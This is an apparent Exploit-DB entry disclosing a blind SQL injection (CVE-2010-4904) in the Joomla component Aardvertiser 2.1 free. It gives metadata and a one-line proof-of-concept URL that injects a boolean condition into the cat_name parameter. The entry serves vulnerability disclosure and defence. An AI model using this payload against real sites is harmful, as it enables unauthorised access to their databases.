Joomla! Component Aardvertiser 2.1 - Blind SQL Injection

Author: Stephan Sattler
type: webapps
platform: php
port: 
date_added: 2010-09-06 
date_updated: 2016-12-15 
verified: 1 
codes: OSVDB-67837;CVE-2010-4904 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comcom_aardvertiserfree.zip

# Exploit Title: Joomla Component Aardvertiser 2.1 free Blind SQL Injection Vulnerability
# Date: 07.09.2010
# Author: Stephan Sattler // www.solidmedia.de
# Software Link: http://sourceforge.net/projects/aardvertiser/files/com_aardvertiser%20V2.1.1%20Free/com_aardvertiserfree.zip/download
# Version: 2.1 free


[ Vulnerability//PoC ]

http://server/joomlapath/index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view